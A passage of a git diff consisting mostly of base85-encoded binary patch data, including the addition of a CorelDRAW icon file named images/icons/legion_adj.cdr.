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 literal 0 HcmV?d00001 diff --git a/images/icons/legion_adj.cdr b/images/icons/legion_adj.cdr new file mode 100644 index 0000000000000000000000000000000000000000..48ff6de489bf1a07b065b32dd723787d960b185b GIT binary patch literal 296016 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 